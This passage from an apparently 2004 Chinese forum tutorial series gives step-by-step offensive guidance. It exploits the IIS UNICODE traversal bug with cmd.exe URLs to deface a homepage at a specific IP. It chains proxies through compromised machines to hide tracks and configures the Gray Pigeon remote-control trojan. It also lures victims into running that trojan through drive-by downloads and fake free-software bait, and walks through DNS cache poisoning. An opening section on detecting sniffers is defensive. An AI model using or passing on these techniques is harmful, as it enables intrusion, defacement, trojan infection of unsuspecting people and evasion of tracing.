向怀疑有网络监听行为的网络发送大量垃圾数据包,根据各个主机回应的情况进行判断,正常的系统回应的时间应该没有太明显的变化,而处于混杂模式的系统由于对大量的垃圾信息照单全收,所以很有可能回应时间会发生较大的变化。这个方法很好,但有时候也没用因为大家没经验嘛
2:观测dns
许多的网络监听软件都会尝试进行地址反向解析,在怀疑有网络监听发生时可以在dns系统上观测有没有明显增多的解析请求。没DNS的或者不能接触的就有点郁闷了
3:利用ping模式进行监测
这个方法我不怎么知道,看了一些文章就COPY了一下,有点头晕,但应该能看懂:假设我们怀疑的主机的硬件地址是00:30:6E:00:9B:B9,它的ip地址是192.168.1.1,那么我们现在伪造出这样的一种icmp数据包:硬件地址是不与局域网内任何一台主机相同的00:30:6E:00:9B:9B,目的地址是192.168.1.1不变,我们可以设想一下这种数据包在局域网内传输会发生什么现象:任何正常的主机会检查这个数据包,比较数据包的硬件地址,和自己的不同,于是不会理会这个数据包,而处于网络监听模式的主机呢?由于它的网卡现在是在混杂模式的,所以它不会去对比这个数据包的硬件地址,而是将这个数据包直接传到上层,上层检查数据包的ip地址,符合自己的ip,于是会对对这个ping的包做出回应。这样,一台处于网络监听模式的主机就被发现了。
4:利用arp数据包进行监测
这个方法和上面的差不多,它使用arp数据包替代了上述的icmp数据包而已,向局域网内的主机发送非广播方式的arp包,如果局域网内的某个主机响应了这个arp请求,那 么我们就可以判断它很可能就是处于网络监听模式了,这是目前相对而言比较好的监测模式。
(什么叫ARP?就说ARP协议,它是Address Resolution Protocol”(地址解析协议)的缩写,在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的.所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。)
昨天有些朋友说找不到一些网络监听的工具,http://www.google.com/
搜sniffer tools有很多的.
我就列举一些了
Windows平台下的:
Windump
http://www.xfocus.net/tools/200108/238.html
相关介绍http://security.zz.ha.cn/windump.html
注意这个是在NT下用的98就别用了,说到这想说一局如果你的系统是98或是ME的,最好换一个,因为好多很好的软件都要求是NT的
UNIX下:
Sniffi
http://www.programsalon.com/download.asp?type_id=53第6个
该软件的安装介绍http://www.xfocus.net/articles/200001/28.html
gunguymadman 回复于:2004-11-19 10:59:03
[第16天]IIS5 UNICODE 编码漏洞
--------------------------------------------------------------------------------
前2天一直在讲网络监听,虽然我觉得很有必要,但好多人都发来消息说没什么太多兴趣。虽然还是很想讲这个,但因为大家有意见,就不说。经过快半个月的学习,我想如果你很认真的在看的话的,我想你的基本功已经很好了.今天开始我会开始由一些详细的攻击或其他的方法开始说了,有些地方我就不详细说明了,如果有问题可以发贴来问
回到话题,先说说什么叫UNICODE 编码 IIS5呢?IIS5我想大家都知道,但UNICODE 编码 可能你如果不是学计算机的可能就有困难了。具体我就不讲了,你看这篇文章http://www.uighurlinux.org/unicode.htm
我想很好的。
大家一定都知道那个风光了很久的IIS5 UNICODE 编码漏洞吧。不知道??原文:
微软IIS 4.0 / 5.0 扩展UNICODE目录遍历漏洞
远程漏洞:是
本地漏洞:是
发布日期:2000年10月17日
更新日期:2000年10月17日
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
不受影响的版本:
漏洞描述:
微软IIS 4.0和5.0都存在利用扩展UNICODE字符取代"/"和"\"而能利用"../"
目录遍历的漏洞。
未经授权的用户可能利用IUSR_machinename账号的上下文空间访问任何已知
的文件。该账号在默认情况下属于Everyone 和Users组的成员,因此任何与
Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除,
修改或执行,就如同一个用户成功登陆所能完成的一样。
测试方法:(以下的程序或方法可能具有攻击性,如用于非法用途,后果自负!)
http://target.computer/scripts/..&A..../path/solo.txt
%c0%af = /
%c1%9c = /
解决方案:
该漏洞补丁随微软安全公告MS00-057一起发布
(http://www.microsoft.com/technet/se...in/ms00-057.asp)
可以从如下地址下载补丁:
IIS 4.0
http://www.microsoft.com/ntserver/n...862/default.asp
IIS 5.0
http://www.microsoft.com/windows200...862/default.asp
进入正题 1.首先我们来看看这个漏洞的原理。
在中文版的IIS4,和ISS5中,存在一个BUG,原因是UNICODE编码 存在BUG 在UNICODE 编码中,发现了一个奇怪的编码方式,
例如:
%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 编码成(0xc1 -0xc0) * 0x40 + 0xhh.
例如
(Windows 2000 + IIS 5.0 + SP1 简体中文版)这个指你想动的主机信息
http://192.168.8.48/A.ida/Á
IIS 将返回"@.ida" 找不到该文件 在这里 (0xc1-0xc0)*0x40+0x00=0x40=’@’
http://192.168.8.48/A.ida/Á.ida
IIS 将返回 "A.ida" 找不到该文件 这里 (0xc1-0xc0)*0x40+0x01=0x41=’A’
http://192.168.8.48/A.ida/Á.ida
IIS 将返回 "B.ida" 找不到该文件 ....
http://192.168.8.48/A.ida/À!.ida
IIS 将返回 "!.ida" 找不到该文件
这就意味着你能利用这些编码的特点。
例如:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ’/’
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ’\’
这个不懂没事,接着看
但我们可以用这种方法进入一些目录
(http://192.168.8.48/scripts/..&Aacu.../cmd.exe?/c+dir
这样我们将得到
Directory of d:\inetpub\scripts
2000-09-28 15:49 〈DIR〉
. 1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:181,317
README.txt 2000-09-28 15:49
〈DIR〉 wcount 9 File(s) 935,233 bytes
(2) 我们也可以利用此BUG得到一些系统文件的内容
http://192.168.8.48/a.asp/..Á..../winnt/win.ini
IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。http://192.168.8.100/default.asp/a....winnt/winnt.ini
"default.asp" 是一个存在的 .ASP 文件, "a.exe" 是一个随机的 .EXE 文件名. 它可以不存在。
打上SP1仍然还有这种编码问题。
在英文版本中使用 %c1%af 能正常利用这个漏洞。
上面已经说过了这个漏洞的资料,现在我们就来说说怎么利用呢?虽然这个漏洞公布很久了, 但你仍然会发现,你可以找到很多这种机器。
假如我们已经找到了一台有这个漏洞的机器。(假设IP为218.22.160.21,是乱说的,其实这是个CS服务器IP:218.22.160.21:27015,很好,我在里面叫xiaojia)
让我们来进行下面的操作
http://218.22.160.21/scripts/..%c1%...cmd.exe+ccc.exe
这个URL语句的执行的命令是:利用NT/2000下的命令解释程序cmd.exe来执行一个拷贝命令。
copy c:\winnt\system32\cmd.exe ccc.exe
它把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe
就是DOS命令中的空格,在URL中就要换成“+”号。
你要执行copy c:\winnt\system32\cmd.exe ccc.exe
相对应的是http://218.22.160.21/scripts/..%c1%...cmd.exe+ccc.exe
其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的,他的作用是调用c:\winnt\system32\cmd.exe来执行命令。
噢,忘了说为什么要拷贝cmd.exe了。
因为微软的iis加载程序的时候检测到有串cmd.exe的话就要检测特殊字符“&(,;%<>;”,所以必须改名。
c.这时c:\winnt\system32\cmd.exe已经拷贝到了c:\inetpub\scripts\ccc.exe
通过
http://218.22.160.21/scripts/ccc.exe?/c
我们就可以调用到cmd.exe了,就是说不用那个编码了。
http://218.22.160.21/scripts/ccc.ex...ked+by+xiaojia+>;;+c:\inetpub\wwwroot\default.asp
http://218.22.160.21/scripts/ccc.exe?/c+echo+30/3/2004+>;;>;+c:\inetpub\wwwroot\default.asp
主页面就被修改
Hacked by xiaojia
30/3/2004
对于上面一些东西做个解释:
其中echo 是一个回显命令。
你在DOS下打一个echo Hacked by xiaojia看看。
它是在屏幕上显示
Hacked by xiaojia
你也可以让它把东西写进一个文件。
echo Hacked by xiaojia>; lion.txt
这样当前目录下的lion.txt文件里就有了Hacked by xiaojia的字样。
其中 >; lion.txt的用途是把回显的字符(就是Hacked by xiaojia)写进lion.txt,它覆盖原来的内容。
但你如果再想用echo 30/03/2004>; lion.txt 来写剩下的内容的话, 你会发现它覆盖了原来的内容Hacked by xiaojia。
这样做 echo Hacked by xiaojia>; lion.txt
echo 30/03/2004>;>; lion.txt
看看吧
文件里面的是
Hacked by xiaojia
30/03/2004
OK,这样,就可以用上面的解释,把空格用"+"代替,就可以向别人的主页写任何东西了。
补一下
好多站点\inetpub\下的scripts目录删除了, 但\Program Files\Common Files\System\下 的msadc还在
(有msadcs.dll漏洞的话就不用 %c1%1c了)。
这时可以如下构造请求:
http://218.22.160.21%1c../..%c1%1c.....exe?/c+dir+c:\
就能调用到cmd.exe
至于这个漏洞还能做什么大家就自己看了,深一点还可以控制他的机子嘛,这才是我们的最终幻想嘛
gunguymadman 回复于:2004-11-19 11:00:06
[第17天]跳板的故事
--------------------------------------------------------------------------------
跳板,这里的不是指跳水的扳子(废话),我想大家多跳板都应该有个基本的认识:就是通过这个东西跳过什么东西,掩盖什么东西。给大家个图大家就明白跳板是什么了
此主题相关图片如下:
知道了吧,就是隐藏你的足迹,想要找出你,就必须连接x个你所通过的机器,并且找出他们的log,如果碰巧有一个没有记录,线就断了,即使都记录了,log里面登记的IP也是上一级跳板主机的IP…
当然跳板还可以用于:
.QQ或者ICQ
. ftp客户端
. mail客户端
. telnet客户端
. 端口扫描器
. (以及几乎所有在网络中所使用的工具)
想想如果不要跳板我们不是很危险吗?
这可能不适用于某些IRC服务器,因为它们常常查看打开着的wingates及proxies。
先说简单的windows下的sock代理怎么做
一.找一些运行wingate的主机
原因:因为wingates的默认安装打开端口1080并且不记录socks连接。
怎么找这些机子呢?你可以用‘代理猎手’,好象中国人都用这个,国外人好象喜欢用wingatescan,或是从这里可以找到最新的:http://www.cyberarmy.com/lists/wingate (国外的,我建议大家用国外的,因为追查有难度啊)
二.确认列表中的主机的确运行着wingate
三.安装一个能截取发送的信息包的软件
我使用的是一个叫purpose的工具,你可以从
http://www.buffy.nu/article.php3?id_article=3043
要设置它,只要在socks server填上: 127.0.0.1 port 8000.
选择’socks version 5’.再点击’resolve all names remotely’.
不要选’supported authentication’。
在主界面,选择new然后建立一个你希望socks支持的程序的快捷方式
对所有你想匿名的程序做同样的工作,至于有哪些你就自己想了
四.安装socks chainer
从http://www.ufasoft.com/socks 下载该工具
在service菜单, 点击new。在name段输入Chain,port则输入8000。
点击new 并且将你找到最快的wingates的IP填进去,端口则填1080。
使用 ’<’ 和 ’>;’, 你可以添加或者移除socks. 记得一定要在使用前测试所有的socks.
五.测试你的设置
用你所建立的浏览器的快捷方式打开浏览器,连接到
http://cavency.virtualave.net/cgi-bin/env.cgi 或者http://internet.junkbuster.com/cgi-...ow-http-headers
同样,打开你的telnet客户端并尝试telnet到
ftp.cztc.edu.cn
你可以通过https://sites.inka.de:8001/cgi-bin/...rowser-check.py 来检测SSL或者
FTP到ftp.zedz.net——或者其它的FTP来验证你的IP。
在上面的测试中,远程主机上留下的将是你最后一个chain的IP地址。当然你可以在自己的
网络里进行测试……
再说说另一种吧SkSockServer“(下面称SSS)
这个与上面的利用著名的wingate做的有什么区别?
1/ 普通的Sock代理程序不支持多跳板之间的连续跳,而SSS却可支持最多达255个跳板之间的连跳运动
2/ 普通的Sock代理程序之间的数据传输是不加密的,而SSS支持的跳板之间传输的数据是经过动态加密的,也就是说每次传输过程中,数据加密的方式都不相同。就算你不幸在..的过程中被webmaster发现,普通的sock代理程序将会被webmaster用sniffer把你的信息一览无遗,而恰巧你用的是SSS的话,呵呵~他将会看到一堆乱码
3/普通的sock代理程序在设置上比较烦琐,而SSS只用两步就全都ok了。(具体步骤将在下面说明) 普通的sock代理程序要不然只支持Tcp或Udp的连接,很少有二者兼顾的,而SSS却全部支持
下面是一个大哥写的教程我觉得不错,就COPY一下了
找A机上传SSS文件,(怎么找我想你应该有个肉鸡吧)如果权限足够的话,应该可以完成SSS的安装和启动。所示:
SSS命令参数的说明:
-install 在NT机上安装SSS
-remove 移除SSS.
-debug 呵呵~snake进行debug用的,对于咱们老百姓来言无用。
sksockserver –install 安装sksockserver。
net start skserver 启动skserver服务。:(注意:这可是在A机上运行的,可不是你自己的爱机)
Ok啦~A机跳板完成,下面进行B机跳板的安装:
打开终端服务客户端连上找到的B菜机。
用B菜机的IE直接下载SSS~~呵呵~如图2:(IP地址隐去啦~大家自己找菜机吧)
图2
在B菜机上配置sockservercfg(因为是用vc编写的sockservercfg,所以必须有mfc的库文件,如果出现“无法定位序数XXXX于动态连接库mfc42.dll”的话,大家可以在自己的机子上找找,最终上传到B菜机的路径:X:\winnt\system32)
sockservercfg图例说明:分见图3、图4、图5:
图例说明:
图3:SSS的配置界面一:在名称处可以填上任意的程序说明,以方便糊弄网管。要注意三处画红圈处,分别为:程序在开机时自动启动(我第一次用的时候还以为是给SSS自动分配端口~哎~Snake!So lazy!~)、安装服务、启动服务。
图4:SSS的配置界面二:是对client端进行限制的配置(呵呵~大家讲点义气,就别做限制啦)
图5:SSS的配置界面三:重要的地方哟!在IP处填入刚才做好的A菜机的Ip地址;激活bActive处(哎~什么叫bActive呀~就不会多作一个取消的?Snake!!!Too too lazy!);之后点Add.
最后提醒一句别忘了点确定哟
ok啦~大功告成!再向大家推荐最后一个好东东-SocksCap(你可以在这找到:http://www.youngzsoft.com/cn/sockscap/)。在自己的机子上装好SocksCap后,设定用Sock5代理的IP地址(就是A菜机的地址),在SocksCap下运行程序,例如:telnet,ftp,ntshell,IE。。。。。所有可以上网的程序,呵呵~这样的你就从网络彻底消失啦~~
总结:
这篇文章只讲了两个跳板,同理,只要再设置 C,D,E.....(只要你不嫌麻烦)上的配置,就连跳了n个跳板啦;在设置A机的时候其实最好也用3389登陆设置,这样的话可以自己设定SSS的端口
gunguymadman 回复于:2004-11-19 11:00:45
『第18天』灰鸽子挺进版全攻略和2003版使用心得
--------------------------------------------------------------------------------
灰鸽子(纪念版)不会使用的人还很多,(什么你不知道什么叫灰鸽子?那你知道什么叫冰河或是什么男生什么女生呢?) 灰鸽子还有自己的网http://main.huigezi.com/main.asp
,今天我们只是简单的说一下它的使用,如果在使用中遇到任何问题除了可以在这里问以外还可以到http://main.huigezi.com/main.asp 去看看,一般都没问题的。
挺进版加上了穿过局域网控制内部机器的
功能,又是第一个使用域名来储存客户端IP地址的,灰鸽子(挺进版)文件:
P_Client.exe (客户端文件)
Server.exe (服务端文件,如果你想控制对方就可以配置一下,让对方运行,你就可以用客户端控制他了!)
程序界面(P_Client.exe):
此主题相关图片如下:
看了上面界面的注示,是不是有了一个底!那好我们就来一次“自动上线”式的控制吧!
注册域名:
在配置服务器程序之前,如果你没有域名可用的话,请随我来注册一个免费的域名吧!
1.点击工具栏上的第三个按扭!在程序界面里的图片上注明了注册域名、更新IP到域名、主机搜索的那个按扭!
此主题相关图片如下:
按了按钮后你会看见上面的界面了,看到了“注册域名”了吧!
点击“注册域名”选项卡!你会看见下面的界面!
此主题相关图片如下:
好的,现在我们就来注册一个域名吧!可以点击“.126.com”来改变申请域名的后缀,这里不我们不点击,保持不变!
现在我们填好域名、密码、E-Mail,就可以按注册域名按扭了!(在这里请确保你已经上网了!)按完成请注意注册结果框里
的提示信息!如果成功的话,大家往下看,注册失败请换个域名试试!
配置服务端程序:
好的,现在大家有了域名了,可以配置服务端程序了!大家在程序界面里看到了配置服务端程序的按扭了吧!就是工具
栏上的第七个按扭!点它就会出现下面的界面!
此主题相关图片如下:
好的,我们点“下一步”继续
此主题相关图片如下:
按上图所说的做吧,好的,我们已经完成了最关键的一步了!
为了节省时间,大家可以一直按“下一步”按扭
好的,我们配置服务器的工作就完成了!
现在我们要的就是把我们配置的“Server.exe”,让
对方运行了(比如说在网吧运行一下)
安装传播已经配置的服务端程序:
好的,我们现在已经把我们刚配置的服务器端程序发给了一个在网吧上网的朋友!现在就看一个怎么控制吧!
等待自动上线:
如果网友已经打开了我们发过去的服务端!应该在一分钟之内自动上线!如果“文件管理器”中多出了绿屏的主机,就是自动上线的主机了!我们选中“文件管理器”中自动上线的主机进行连接!如果不出错的话应可以看到它的驱动器列表了!
哈哈,你不仅可以管理文件,还可以进行其它控制
这就是这个软件的简单应用 很简单吧
再说说灰鸽子2003的一些使用心得吧
2003的界面类似XP,内容方面和这个挺进版差不多,最大的改动就是搜索主机的IPC弱口令探测这个东西去掉了,速度没什么改进,但比辐射版要快不少。
至于使用感受:首先用灰鸽子自己本身得搜索功能还真得难找到一个好的机子,搜索速度太慢了,这时候我们可以用SUPERSCAN这种专业的扫描软件,添好默认的端口,能大大提高效率。还有就是关键在于怎么骗取别人运行自己的服务端。最快的就是先把自己的服务端加载在网页中利用IE的自动下载运行漏洞,反正不会用很对人去升级计算机系统漏洞的。再到各大的论坛说自己有免费的QQ或电影看,贪小便宜的人肯定很多的。
申明:我网站和论坛的页面绝不含任何这种东西或是木马,请大家放心。
gunguymadman 回复于:2004-11-19 11:01:41
『第19天』几个DNS问题和网络攻击与防范
--------------------------------------------------------------------------------
现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存在.(什么叫BIND?BIND是一款由ISC维护的Internet域名名字系统实现。)关于BIND有个BIND问题集锦大家有兴趣可以看看
http://www.cngnu.org/technology/2494/281.html
1>;.DNS欺骗
在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录.
下面我们来看一个例子:
一台运行着unix的Internet主机,并且提供rlogin服务,它的IP地址为123.45.67.89,它使用的DNS服务器(即/etc/resolv.conf中指向的DNS服务器)的IP地址为98.76.54.32,某个客户端(IP地址为38.222.74.2)试图连接到unix主机的rlogin端口,假设unix主机的/etc/hosts.equiv文件中使用的是dns名称来允许目标主机的访问,那么unix主机会向IP为98.76.54.32的DNS服务器发出一个PTR记录的查询:
123.45.67.89 ->; 98.76.54.32 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.74.222.38.in-addr.arpa PTR
IP为98.76.54.32的DNS服务器中没有这个反向查询域的信息,经过一番查询,这个DNS服务器找到38.222.74.2和38.222.74.10为74.222.38.in-addr.arpa.的权威DNS服务器,所以它会向38.222.74.2发出PTR查询:
98.76.54.32 ->; 38.222.74.2 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.74.222.38.in-addr.arpa PTR
请注意,38.222.74.2是我们的客户端IP,也就是说这台机子是完全掌握在我们手中的.我们可以更改它的DNS记录,让它返回我们所需要的结果:
38.222.74.2 ->; 98.76.54.32 [Answer]
NQY: 1 NAN: 2 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN: trusted.host.com A 38.222.74.2
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
当98.76.54.32的DNS服务器收到这个应答后,会把结果转发给123.45.67.98,就是那台有rlogin服务的unix主机(也是我们的目标 ),并且98.76.54.32这台DNS服务器会把这次的查询结果缓存起来.
这时unix主机就认为IP地址为38.222.74.2的主机名为trusted.host.com,然后unix主机查询本地的/etc/hosts.equiv文件,看这台主机是否被允许使用rlogin服务,很显然,我们的欺骗达到了.
在unix的环境中,有另外一种技术来防止这种欺骗的发生,就是查询PTR记录后,也查询PTR返回的主机名的A记录,然后比较两个IP地址是否相同:
123.45.67.89 ->; 98.76.54.32 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: trusted.host.com A
很不幸,在98.76.54.32的DNS服务器不会去查询这个记录,而会直接返回在查询2.74.222.38.in-addr.arpa时得到的并且存在缓存中的信息:
98.76.54.32 ->; 123.45.67.89 [Query]
NQY: 1 NAN: 1 NNS: 2 NAD: 2
QY: trusted.host.com A
AN: trusted.host.com A 38.222.74.2
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
那么现在unix主机就认为38.222.74.2就是真正的trusted.host.com了,我们的目的达到了!
这种IP欺骗的条件是:你必须有一台Internet上的授权的DNS服务器,并且你能控制这台服务器,至少要能修改这台服务器的DNS记录,我们的欺骗才能进行.
2>;.拒绝服务攻击 Denial of service
还是上面的例子,如果我们更改位于38.222.74.2的记录,然后对位于98.76.54.32的DNS服务器发出2.74.222.38.in-addr.arpa的查询,并使得查询结果如下:
因为74.222.38.in-addr.arpa完全由我们控制,所以我们能很方便的修改这些信息来实现我们的目的.
38.222.74.2 ->; 98.76.54.32 [Answer]
NQY: 1 NAN: 2 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN:www.company.com A 0.0.0.1
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sv |